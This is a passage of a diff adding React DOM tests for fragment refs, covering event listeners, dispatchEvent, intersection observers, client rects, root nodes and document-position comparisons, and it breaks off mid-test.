+        function Test() {
+          const fragmentRef = React.useRef(null);
+          // eslint-disable-next-line no-unused-vars
+          const [_, setState] = React.useState(0);
+          rerender = () => {
+            setState(p => p + 1);
+          };
+          removeEventListeners = () => {
+            fragmentRef.current.removeEventListener('click', logClick);
+          };
+          React.useEffect(() => {
+            fragmentRef.current.addEventListener('click', logClick);
+
+            return removeEventListeners;
+          });
+
+          return (
+            <Fragment ref={fragmentRef}>
+              <div id="child-a" />
+            </Fragment>
+          );
+        }
+
+        // The event listener was applied
+        await act(() => root.render(<Test />));
+        expect(logs).toEqual([]);
+        document.querySelector('#child-a').click();
+        expect(logs).toEqual(['child-a']);
+
+        // The event listener can be removed and re-added
+        logs = [];
+        await act(rerender);
+        document.querySelector('#child-a').click();
+        expect(logs).toEqual(['child-a']);
+      });
+
+      // @gate enableFragmentRefs
+      it('does not apply removed event listeners to new children', async () => {
+        const root = ReactDOMClient.createRoot(container);
+        const fragmentRef = React.createRef(null);
+        function Test() {
+          return (
+            <Fragment ref={fragmentRef}>
+              <div id="child-a" />
+            </Fragment>
+          );
+        }
+
+        let logs = [];
+        function logClick(e) {
+          logs.push(e.currentTarget.id);
+        }
+        await act(() => {
+          root.render(<Test />);
+        });
+        fragmentRef.current.addEventListener('click', logClick);
+        const childA = document.querySelector('#child-a');
+        childA.click();
+        expect(logs).toEqual(['child-a']);
+
+        logs = [];
+        fragmentRef.current.removeEventListener('click', logClick);
+        childA.click();
+        expect(logs).toEqual([]);
+      });
+
+      // @gate enableFragmentRefs
+      it('applies event listeners to portaled children', async () => {
+        const fragmentRef = React.createRef();
+        const childARef = React.createRef();
+        const childBRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test() {
+          return (
+            <Fragment ref={fragmentRef}>
+              <div id="child-a" ref={childARef} />
+              {createPortal(
+                <div id="child-b" ref={childBRef} />,
+                document.body,
+              )}
+            </Fragment>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test />);
+        });
+
+        const logs = [];
+        fragmentRef.current.addEventListener('click', e => {
+          logs.push(e.target.id);
+        });
+
+        childARef.current.click();
+        expect(logs).toEqual(['child-a']);
+
+        logs.length = 0;
+        childBRef.current.click();
+        expect(logs).toEqual(['child-b']);
+      });
+
+      describe('with activity', () => {
+        // @gate enableFragmentRefs
+        it('does not apply event listeners to hidden trees', async () => {
+          const parentRef = React.createRef();
+          const fragmentRef = React.createRef();
+          const root = ReactDOMClient.createRoot(container);
+
+          function Test() {
+            return (
+              <div ref={parentRef}>
+                <Fragment ref={fragmentRef}>
+                  <div>Child 1</div>
+                  <Activity mode="hidden">
+                    <div>Child 2</div>
+                  </Activity>
+                  <div>Child 3</div>
+                </Fragment>
+              </div>
+            );
+          }
+
+          await act(() => {
+            root.render(<Test />);
+          });
+
+          const logs = [];
+          fragmentRef.current.addEventListener('click', e => {
+            logs.push(e.target.textContent);
+          });
+
+          const [child1, child2, child3] = parentRef.current.children;
+          child1.click();
+          child2.click();
+          child3.click();
+          expect(logs).toEqual(['Child 1', 'Child 3']);
+        });
+
+        // @gate enableFragmentRefs
+        it('applies event listeners to visible trees', async () => {
+          const parentRef = React.createRef();
+          const fragmentRef = React.createRef();
+          const root = ReactDOMClient.createRoot(container);
+
+          function Test() {
+            return (
+              <div ref={parentRef}>
+                <Fragment ref={fragmentRef}>
+                  <div>Child 1</div>
+                  <Activity mode="visible">
+                    <div>Child 2</div>
+                  </Activity>
+                  <div>Child 3</div>
+                </Fragment>
+              </div>
+            );
+          }
+
+          await act(() => {
+            root.render(<Test />);
+          });
+
+          const logs = [];
+          fragmentRef.current.addEventListener('click', e => {
+            logs.push(e.target.textContent);
+          });
+
+          const [child1, child2, child3] = parentRef.current.children;
+          child1.click();
+          child2.click();
+          child3.click();
+          expect(logs).toEqual(['Child 1', 'Child 2', 'Child 3']);
+        });
+
+        // @gate enableFragmentRefs
+        it('handles Activity modes switching', async () => {
+          const fragmentRef = React.createRef();
+          const fragmentRef2 = React.createRef();
+          const parentRef = React.createRef();
+          const root = ReactDOMClient.createRoot(container);
+
+          function Test({mode}) {
+            return (
+              <div id="parent" ref={parentRef}>
+                <Fragment ref={fragmentRef}>
+                  <Activity mode={mode}>
+                    <div id="child1">Child</div>
+                    <Fragment ref={fragmentRef2}>
+                      <div id="child2">Child 2</div>
+                    </Fragment>
+                  </Activity>
+                </Fragment>
+              </div>
+            );
+          }
+
+          await act(() => {
+            root.render(<Test mode="visible" />);
+          });
+
+          let logs = [];
+          fragmentRef.current.addEventListener('click', () => {
+            logs.push('clicked 1');
+          });
+          fragmentRef2.current.addEventListener('click', () => {
+            logs.push('clicked 2');
+          });
+          parentRef.current.lastChild.click();
+          expect(logs).toEqual(['clicked 1', 'clicked 2']);
+
+          logs = [];
+          await act(() => {
+            root.render(<Test mode="hidden" />);
+          });
+          parentRef.current.firstChild.click();
+          parentRef.current.lastChild.click();
+          expect(logs).toEqual([]);
+
+          logs = [];
+          await act(() => {
+            root.render(<Test mode="visible" />);
+          });
+          parentRef.current.lastChild.click();
+          // Event order is flipped here because the nested child re-registers first
+          expect(logs).toEqual(['clicked 2', 'clicked 1']);
+        });
+      });
+    });
+
+    describe('dispatchEvent()', () => {
+      // @gate enableFragmentRefs
+      it('fires events on the host parent if bubbles=true', async () => {
+        const fragmentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+        let logs = [];
+
+        function handleClick(e) {
+          logs.push([e.type, e.target.id, e.currentTarget.id]);
+        }
+
+        function Test({isMounted}) {
+          return (
+            <div onClick={handleClick} id="grandparent">
+              <div onClick={handleClick} id="parent">
+                {isMounted && (
+                  <Fragment ref={fragmentRef}>
+                    <div onClick={handleClick} id="child">
+                      Hi
+                    </div>
+                  </Fragment>
+                )}
+              </div>
+            </div>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test isMounted={true} />);
+        });
+
+        let isCancelable = !fragmentRef.current.dispatchEvent(
+          new MouseEvent('click', {bubbles: true}),
+        );
+        expect(logs).toEqual([
+          ['click', 'parent', 'parent'],
+          ['click', 'parent', 'grandparent'],
+        ]);
+        expect(isCancelable).toBe(false);
+
+        const fragmentInstanceHandle = fragmentRef.current;
+        await act(() => {
+          root.render(<Test isMounted={false} />);
+        });
+        logs = [];
+        isCancelable = !fragmentInstanceHandle.dispatchEvent(
+          new MouseEvent('click', {bubbles: true}),
+        );
+        expect(logs).toEqual([]);
+        expect(isCancelable).toBe(false);
+
+        logs = [];
+        isCancelable = !fragmentInstanceHandle.dispatchEvent(
+          new MouseEvent('click', {bubbles: false}),
+        );
+        expect(logs).toEqual([]);
+        expect(isCancelable).toBe(false);
+      });
+
+      // @gate enableFragmentRefs
+      it('fires events on self, and only self if bubbles=false', async () => {
+        const fragmentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+        let logs = [];
+
+        function handleClick(e) {
+          logs.push([e.type, e.target.id, e.currentTarget.id]);
+        }
+
+        function Test() {
+          return (
+            <div id="parent" onClick={handleClick}>
+              <Fragment ref={fragmentRef} />
+            </div>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test />);
+        });
+
+        fragmentRef.current.addEventListener('click', handleClick);
+
+        fragmentRef.current.dispatchEvent(
+          new MouseEvent('click', {bubbles: true}),
+        );
+        expect(logs).toEqual([
+          ['click', undefined, undefined],
+          ['click', 'parent', 'parent'],
+        ]);
+
+        logs = [];
+
+        fragmentRef.current.dispatchEvent(
+          new MouseEvent('click', {bubbles: false}),
+        );
+        expect(logs).toEqual([['click', undefined, undefined]]);
+      });
+    });
+  });
+
+  describe('observers', () => {
+    beforeEach(() => {
+      mockIntersectionObserver();
+    });
+
+    // @gate enableFragmentRefs
+    it('attaches intersection observers to children', async () => {
+      let logs = [];
+      const observer = new IntersectionObserver(entries => {
+        entries.forEach(entry => {
+          logs.push(entry.target.id);
+        });
+      });
+      function Test({showB}) {
+        const fragmentRef = React.useRef(null);
+        React.useEffect(() => {
+          fragmentRef.current.observeUsing(observer);
+          const lastRefValue = fragmentRef.current;
+          return () => {
+            lastRefValue.unobserveUsing(observer);
+          };
+        }, []);
+        return (
+          <div id="parent">
+            <React.Fragment ref={fragmentRef}>
+              <div id="childA">A</div>
+              {showB && <div id="childB">B</div>}
+            </React.Fragment>
+          </div>
+        );
+      }
+
+      function simulateAllChildrenIntersecting() {
+        const parent = container.firstChild;
+        if (parent) {
+          const children = Array.from(parent.children).map(child => {
+            return [child, {y: 0, x: 0, width: 1, height: 1}, 1];
+          });
+          simulateIntersection(...children);
+        }
+      }
+
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => root.render(<Test showB={false} />));
+      simulateAllChildrenIntersecting();
+      expect(logs).toEqual(['childA']);
+
+      // Reveal child and expect it to be observed
+      logs = [];
+      await act(() => root.render(<Test showB={true} />));
+      simulateAllChildrenIntersecting();
+      expect(logs).toEqual(['childA', 'childB']);
+
+      // Hide child and expect it to be unobserved
+      logs = [];
+      await act(() => root.render(<Test showB={false} />));
+      simulateAllChildrenIntersecting();
+      expect(logs).toEqual(['childA']);
+
+      // Unmount component and expect all children to be unobserved
+      logs = [];
+      await act(() => root.render(null));
+      simulateAllChildrenIntersecting();
+      expect(logs).toEqual([]);
+    });
+
+    // @gate enableFragmentRefs
+    it('warns when unobserveUsing() is called with an observer that was not observed', async () => {
+      const fragmentRef = React.createRef();
+      const observer = new IntersectionObserver(() => {});
+      const observer2 = new IntersectionObserver(() => {});
+      function Test() {
+        return (
+          <React.Fragment ref={fragmentRef}>
+            <div />
+          </React.Fragment>
+        );
+      }
+
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => root.render(<Test />));
+
+      // Warning when there is no attached observer
+      fragmentRef.current.unobserveUsing(observer);
+      assertConsoleErrorDev([
+        'You are calling unobserveUsing() with an observer that is not being observed with this fragment ' +
+          'instance. First attach the observer with observeUsing()',
+      ]);
+
+      // Warning when the attached observer does not match
+      fragmentRef.current.observeUsing(observer);
+      fragmentRef.current.unobserveUsing(observer2);
+      assertConsoleErrorDev([
+        'You are calling unobserveUsing() with an observer that is not being observed with this fragment ' +
+          'instance. First attach the observer with observeUsing()',
+      ]);
+    });
+
+    // @gate enableFragmentRefs && enableFragmentRefsInstanceHandles
+    it('attaches handles to observed elements to allow caching of observers', async () => {
+      const targetToCallbackMap = new WeakMap();
+      let cachedObserver = null;
+      function createObserverIfNeeded(fragmentInstance, onIntersection) {
+        const callbacks = targetToCallbackMap.get(fragmentInstance);
+        targetToCallbackMap.set(
+          fragmentInstance,
+          callbacks ? [...callbacks, onIntersection] : [onIntersection],
+        );
+        if (cachedObserver !== null) {
+          return cachedObserver;
+        }
+        const observer = new IntersectionObserver(entries => {
+          entries.forEach(entry => {
+            const fragmentInstances = entry.target.reactFragments;
+            if (fragmentInstances) {
+              Array.from(fragmentInstances).forEach(fInstance => {
+                const cbs = targetToCallbackMap.get(fInstance) || [];
+                cbs.forEach(callback => {
+                  callback(entry);
+                });
+              });
+            }
+
+            targetToCallbackMap.get(entry.target)?.forEach(callback => {
+              callback(entry);
+            });
+          });
+        });
+        cachedObserver = observer;
+        return observer;
+      }
+
+      function IntersectionObserverFragment({onIntersection, children}) {
+        const fragmentRef = React.useRef(null);
+        React.useLayoutEffect(() => {
+          const observer = createObserverIfNeeded(
+            fragmentRef.current,
+            onIntersection,
+          );
+          fragmentRef.current.observeUsing(observer);
+          const lastRefValue = fragmentRef.current;
+          return () => {
+            lastRefValue.unobserveUsing(observer);
+          };
+        }, []);
+        return <React.Fragment ref={fragmentRef}>{children}</React.Fragment>;
+      }
+
+      let logs = [];
+      function logIntersection(id) {
+        logs.push(`observe: ${id}`);
+      }
+
+      function ChildWithManualIO({id}) {
+        const divRef = React.useRef(null);
+        React.useLayoutEffect(() => {
+          const observer = createObserverIfNeeded(divRef.current, entry => {
+            logIntersection(id);
+          });
+          observer.observe(divRef.current);
+          return () => {
+            observer.unobserve(divRef.current);
+          };
+        }, []);
+        return (
+          <div id={id} ref={divRef}>
+            {id}
+          </div>
+        );
+      }
+
+      function Test() {
+        return (
+          <>
+            <IntersectionObserverFragment
+              onIntersection={() => logIntersection('grandparent')}>
+              <IntersectionObserverFragment
+                onIntersection={() => logIntersection('parentA')}>
+                <div id="childA">A</div>
+              </IntersectionObserverFragment>
+            </IntersectionObserverFragment>
+            <IntersectionObserverFragment
+              onIntersection={() => logIntersection('parentB')}>
+              <div id="childB">B</div>
+              <ChildWithManualIO id="childC" />
+            </IntersectionObserverFragment>
+          </>
+        );
+      }
+
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => root.render(<Test />));
+
+      simulateIntersection([
+        container.querySelector('#childA'),
+        {y: 0, x: 0, width: 1, height: 1},
+        1,
+      ]);
+      expect(logs).toEqual(['observe: grandparent', 'observe: parentA']);
+
+      logs = [];
+
+      simulateIntersection([
+        container.querySelector('#childB'),
+        {y: 0, x: 0, width: 1, height: 1},
+        1,
+      ]);
+      expect(logs).toEqual(['observe: parentB']);
+
+      logs = [];
+      simulateIntersection([
+        container.querySelector('#childC'),
+        {y: 0, x: 0, width: 1, height: 1},
+        1,
+      ]);
+      expect(logs).toEqual(['observe: parentB', 'observe: childC']);
+    });
+  });
+
+  describe('getClientRects', () => {
+    // @gate enableFragmentRefs
+    it('returns the bounding client rects of all children', async () => {
+      const fragmentRef = React.createRef();
+      const childARef = React.createRef();
+      const childBRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      function Test() {
+        return (
+          <React.Fragment ref={fragmentRef}>
+            <div ref={childARef} />
+            <div ref={childBRef} />
+          </React.Fragment>
+        );
+      }
+
+      await act(() => root.render(<Test />));
+      setClientRects(childARef.current, [
+        {
+          x: 1,
+          y: 2,
+          width: 3,
+          height: 4,
+        },
+        {
+          x: 5,
+          y: 6,
+          width: 7,
+          height: 8,
+        },
+      ]);
+      setClientRects(childBRef.current, [{x: 9, y: 10, width: 11, height: 12}]);
+      const clientRects = fragmentRef.current.getClientRects();
+      expect(clientRects.length).toBe(3);
+      expect(clientRects[0].left).toBe(1);
+      expect(clientRects[1].left).toBe(5);
+      expect(clientRects[2].left).toBe(9);
+    });
+  });
+
+  describe('getRootNode', () => {
+    // @gate enableFragmentRefs
+    it('returns the root node of the parent', async () => {
+      const fragmentRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      function Test() {
+        return (
+          <div>
+            <React.Fragment ref={fragmentRef}>
+              <div />
+            </React.Fragment>
+          </div>
+        );
+      }
+
+      await act(() => root.render(<Test />));
+      expect(fragmentRef.current.getRootNode()).toBe(document);
+    });
+
+    // The desired behavior here is to return the topmost disconnected element when
+    // fragment + parent are unmounted. Currently we have a pass during unmount that
+    // recursively cleans up return pointers of the whole tree. We can change this
+    // with a future refactor. See: https://github.com/facebook/react/pull/32682#discussion_r2008313082
+    // @gate enableFragmentRefs
+    it('returns the topmost disconnected element if the fragment and parent are unmounted', async () => {
+      const containerRef = React.createRef();
+      const parentRef = React.createRef();
+      const fragmentRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      function Test({mounted}) {
+        return (
+          <div ref={containerRef} id="container">
+            {mounted && (
+              <div ref={parentRef} id="parent">
+                <React.Fragment ref={fragmentRef}>
+                  <div />
+                </React.Fragment>
+              </div>
+            )}
+          </div>
+        );
+      }
+
+      await act(() => root.render(<Test mounted={true} />));
+      expect(fragmentRef.current.getRootNode()).toBe(document);
+      const fragmentHandle = fragmentRef.current;
+      await act(() => root.render(<Test mounted={false} />));
+      // TODO: The commented out assertion is the desired behavior. For now, we return
+      // the fragment instance itself. This is currently the same behavior if you unmount
+      // the fragment but not the parent. See context above.
+      // expect(fragmentHandle.getRootNode().id).toBe(parentRefHandle.id);
+      expect(fragmentHandle.getRootNode()).toBe(fragmentHandle);
+    });
+
+    // @gate enableFragmentRefs
+    it('returns self when only the fragment was unmounted', async () => {
+      const fragmentRef = React.createRef();
+      const parentRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      function Test({mounted}) {
+        return (
+          <div ref={parentRef} id="parent">
+            {mounted && (
+              <React.Fragment ref={fragmentRef}>
+                <div />
+              </React.Fragment>
+            )}
+          </div>
+        );
+      }
+
+      await act(() => root.render(<Test mounted={true} />));
+      expect(fragmentRef.current.getRootNode()).toBe(document);
+      const fragmentHandle = fragmentRef.current;
+      await act(() => root.render(<Test mounted={false} />));
+      expect(fragmentHandle.getRootNode()).toBe(fragmentHandle);
+    });
+  });
+
+  describe('compareDocumentPosition', () => {
+    function expectPosition(position, spec) {
+      const positionResult = {
+        following: (position & Node.DOCUMENT_POSITION_FOLLOWING) !== 0,
+        preceding: (position & Node.DOCUMENT_POSITION_PRECEDING) !== 0,
+        contains: (position & Node.DOCUMENT_POSITION_CONTAINS) !== 0,
+        containedBy: (position & Node.DOCUMENT_POSITION_CONTAINED_BY) !== 0,
+        disconnected: (position & Node.DOCUMENT_POSITION_DISCONNECTED) !== 0,
+        implementationSpecific:
+          (position & Node.DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC) !== 0,
+      };
+      expect(positionResult).toEqual(spec);
+    }
+    // @gate enableFragmentRefs
+    it('returns the relationship between the fragment instance and a given node', async () => {
+      const fragmentRef = React.createRef();
+      const beforeRef = React.createRef();
+      const afterRef = React.createRef();
+      const middleChildRef = React.createRef();
+      const firstChildRef = React.createRef();
+      const lastChildRef = React.createRef();
+      const containerRef = React.createRef();
+      const disconnectedElement = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+
+      function Test() {
+        return (
+          <div ref={containerRef} id="container">
+            <div ref={beforeRef} id="before" />
+            <React.Fragment ref={fragmentRef}>
+              <div ref={firstChildRef} id="first" />
+              <div ref={middleChildRef} id="middle" />
+              <div ref={lastChildRef} id="last" />
+            </React.Fragment>
+            <div ref={afterRef} id="after" />
+          </div>
+        );
+      }
+
+      await act(() => root.render(<Test />));
+
+      // document.body is preceding and contains the fragment
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(document.body),
+        {
+          preceding: true,
+          following: false,
+          contains: true,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+
+      // beforeRef is preceding the fragment
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(beforeRef.current),
+        {
+          preceding: true,
+          following: false,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+
+      // afterRef is following the fragment
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(afterRef.current),
+        {
+          preceding: false,
+          following: true,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+
+      // firstChildRef is contained by the fragment
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(firstChildRef.current),
+        {
+          preceding: false,
+          following: false,
+          contains: false,
+          containedBy: true,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+
+      // middleChildRef is contained by the fragment
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(middleChildRef.current),
+        {
+          preceding: false,
+          following: false,
+          contains: false,
+          containedBy: true,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+
+      // lastChildRef is contained by the fragment
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(lastChildRef.current),
+        {
+          preceding: false,
+          following: false,
+          contains: false,
+          containedBy: true,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+
+      // containerRef precedes and contains the fragment
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(containerRef.current),
+        {
+          preceding: true,
+          following: false,
+          contains: true,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(disconnectedElement),
+        {
+          preceding: false,
+          following: true,
+          contains: false,
+          containedBy: false,
+          disconnected: true,
+          implementationSpecific: true,
+        },
+      );
+    });
+
+    // @gate enableFragmentRefs
+    it('handles fragment instances with one child', async () => {
+      const fragmentRef = React.createRef();
+      const beforeRef = React.createRef();
+      const afterRef = React.createRef();
+      const containerRef = React.createRef();
+      const onlyChildRef = React.createRef();
+      const disconnectedElement = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+
+      function Test() {
+        return (
+          <div id="container" ref={containerRef}>
+            <div id="innercontainer">
+              <div ref={beforeRef} id="before" />
+              <React.Fragment ref={fragmentRef}>
+                <div ref={onlyChildRef} id="within" />
+              </React.Fragment>
+              <div id="after" ref={afterRef} />
+            </div>
+          </div>
+        );
+      }
+
+      await act(() => root.render(<Test />));
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(beforeRef.current),
+        {
+          preceding: true,
+          following: false,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(afterRef.current),
+        {
+          preceding: false,
+          following: true,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(onlyChildRef.current),
+        {
+          preceding: false,
+          following: false,
+          contains: false,
+          containedBy: true,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(containerRef.current),
+        {
+          preceding: true,
+          following: false,
+          contains: true,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(disconnectedElement),
+        {
+          preceding: false,
+          following: true,
+          contains: false,
+          containedBy: false,
+          disconnected: true,
+          implementationSpecific: true,
+        },
+      );
+    });
+
+    // @gate enableFragmentRefs
+    it('handles empty fragment instances', async () => {
+      const fragmentRef = React.createRef();
+      const beforeParentRef = React.createRef();
+      const beforeRef = React.createRef();
+      const afterRef = React.createRef();
+      const afterParentRef = React.createRef();
+      const containerRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      function Test() {
+        return (
+          <>
+            <div id="before-container" ref={beforeParentRef} />
+            <div id="container" ref={containerRef}>
+              <div id="before" ref={beforeRef} />
+              <React.Fragment ref={fragmentRef} />
+              <div id="after" ref={afterRef} />
+            </div>
+            <div id="after-container" ref={afterParentRef} />
+          </>
+        );
+      }
+
+      await act(() => root.render(<Test />));
+
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(document.body),
+        {
+          preceding: true,
+          following: false,
+          contains: true,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: true,
+        },
+      );
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(beforeRef.current),
+        {
+          preceding: true,
+          following: false,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: true,
+        },
+      );
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(beforeParentRef.current),
+        {
+          preceding: true,
+          following: false,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: true,
+        },
+      );
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(afterRef.current),
+        {
+          preceding: false,
+          following: true,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: true,
+        },
+      );
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(afterParentRef.current),
+        {
+          preceding: false,
+          following: true,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: true,
+        },
+      );
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(containerRef.current),
+        {
+          preceding: false,
+          following: false,
+          contains: true,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: true,
+        },
+      );
+    });
+
+    // @gate enableFragmentRefs
+    it('handles nested children', async () => {
+      const fragmentRef = React.createRef();
+      const nestedFragmentRef = React.createRef();
+      const childARef = React.createRef();
+      const childBRef = React.createRef();
+      const childCRef = React.createRef();
+      document.body.appendChild(container);
+      const root = ReactDOMClient.createRoot(container);
+
+      function Child() {
+        return (
+          <div ref={childCRef} id="C">
+            C
+          </div>
+        );
+      }
+
+      function Test() {
+        return (
+          <React.Fragment ref={fragmentRef}>
+            <div ref={childARef} id="A">
+              A
+            </div>
+            <React.Fragment ref={nestedFragmentRef}>
+              <div ref={childBRef} id="B">
+                B
+              </div>
+            </React.Fragment>
+            <Child />
+          </React.Fragment>
+        );
+      }
+
+      await act(() => root.render(<Test />));
+
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(childARef.current),
+        {
+          preceding: false,
+          following: false,
+          contains: false,
+          containedBy: true,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(childBRef.current),
+        {
+          preceding: false,
+          following: false,
+          contains: false,
+          containedBy: true,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+      expectPosition(
+        fragmentRef.current.compareDocumentPosition(childCRef.current),
+        {
+          preceding: false,
+          following: false,
+          contains: false,
+          containedBy: true,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+    });
+
+    // @gate enableFragmentRefs
+    it('returns disconnected for comparison with an unmounted fragment instance', async () => {
+      const fragmentRef = React.createRef();
+      const containerRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      function Test({mount}) {
+        return (
+          <div ref={containerRef}>
+            {mount && (
+              <Fragment ref={fragmentRef}>
+                <div />
+              </Fragment>
+            )}
+          </div>
+        );
+      }
+
+      await act(() => root.render(<Test mount={true} />));
+
+      const fragmentHandle = fragmentRef.current;
+
+      expectPosition(
+        fragmentHandle.compareDocumentPosition(containerRef.current),
+        {
+          preceding: true,
+          following: false,
+          contains: true,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+
+      await act(() => {
+        root.render(<Test mount={false} />);
+      });
+
+      expectPosition(
+        fragmentHandle.compareDocumentPosition(containerRef.current),
+        {
+          preceding: false,
+          following: false,
+          contains: false,
+          containedBy: false,
+          disconnected: true,
+          implementationSpecific: false,
+        },
+      );
+    });
+
+    // @gate enableFragmentRefs
+    it('compares a root-level Fragment', async () => {
+      const fragmentRef = React.createRef();
+      const emptyFragmentRef = React.createRef();
+      const childRef = React.createRef();
+      const siblingPrecedingRef = React.createRef();
+      const siblingFollowingRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      function Test() {
+        return (
+          <Fragment>
+            <div ref={siblingPrecedingRef} />
+            <Fragment ref={fragmentRef}>
+              <div ref={childRef} />
+            </Fragment>
+            <Fragment ref={emptyFragmentRef} />
+            <div ref={siblingFollowingRef} />
+          </Fragment>
+        );
+      }
+
+      await act(() => root.render(<Test />));
+
+      const fragmentInstance = fragmentRef.current;
+      if (fragmentInstance == null) {
+        throw new Error('Expected fragment instance to be non-null');
+      }
+      const emptyFragmentInstance = emptyFragmentRef.current;
+      if (emptyFragmentInstance == null) {
+        throw new Error('Expected empty fragment instance to be non-null');
+      }
+
+      expectPosition(
+        fragmentInstance.compareDocumentPosition(childRef.current),
+        {
+          preceding: false,
+          following: false,
+          contains: false,
+          containedBy: true,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+
+      expectPosition(
+        fragmentInstance.compareDocumentPosition(siblingPrecedingRef.current),
+        {
+          preceding: true,
+          following: false,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+
+      expectPosition(
+        fragmentInstance.compareDocumentPosition(siblingFollowingRef.current),
+        {
+          preceding: false,
+          following: true,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: false,
+        },
+      );
+
+      expectPosition(
+        emptyFragmentInstance.compareDocumentPosition(childRef.current),
+        {
+          preceding: true,
+          following: false,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: true,
+        },
+      );
+
+      expectPosition(
+        emptyFragmentInstance.compareDocumentPosition(
+          siblingPrecedingRef.current,
+        ),
+        {
+          preceding: true,
+          following: false,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: true,
+        },
+      );
+
+      expectPosition(
+        emptyFragmentInstance.compareDocumentPosition(
+          siblingFollowingRef.current,
+        ),
+        {
+          preceding: false,
+          following: true,
+          contains: false,
+          containedBy: false,
+          disconnected: false,
+          implementationSpecific: true,
+        },
+      );
+    });
+
+    describe('with portals', () => {
+      // @gate enableFragmentRefs
+      it('handles portaled elements', async () => {
+        const fragmentRef = React.createRef();
+        const portaledSiblingRef = React.createRef();
+        const portaledChildRef = React.createRef();
+
+        function Test() {
+          return (
+            <div id="wrapper">
+              {createPortal(<div ref={portaledSiblingRef} id="A" />, container)}
+              <Fragment ref={fragmentRef}>
+                {createPortal(<div ref={portaledChildRef} id="B" />, container)}
+                <div id="C" />
+              </Fragment>
+            </div>
+          );
+        }
+
+        const root = ReactDOMClient.createRoot(container);
+        await act(() => root.render(<Test />));
+
+        // The sibling is preceding in both the DOM and the React tree
+        expectPosition(
+          fragmentRef.current.compareDocumentPosition(
+            portaledSiblingRef.current,
+          ),
+          {
+            preceding: true,
+            following: false,
+            contains: false,
+            containedBy: false,
+            disconnected: false,
+            implementationSpecific: false,
+          },
+        );
+
+        // The child is contained by in the React tree but not in the DOM
+        expectPosition(
+          fragmentRef.current.compareDocumentPosition(portaledChildRef.current),
+          {
+            preceding: false,
+            following: false,
+            contains: false,
+            containedBy: false,
+            disconnected: false,
+            implementationSpecific: true,
+          },
+        );
+      });
+
+      // @gate enableFragmentRefs
+      it('handles multiple portals to the same element', async () => {
+        const root = ReactDOMClient.createRoot(container);
+        const fragmentRef = React.createRef();
+        const childARef = React.createRef();
+        const childBRef = React.createRef();
+        const childCRef = React.createRef();
+        const childDRef = React.createRef();
+        const childERef = React.createRef();
+
+        function Test() {
+          const [c, setC] = React.useState(false);
+          React.useEffect(() => {
+            setC(true);
+          });
+
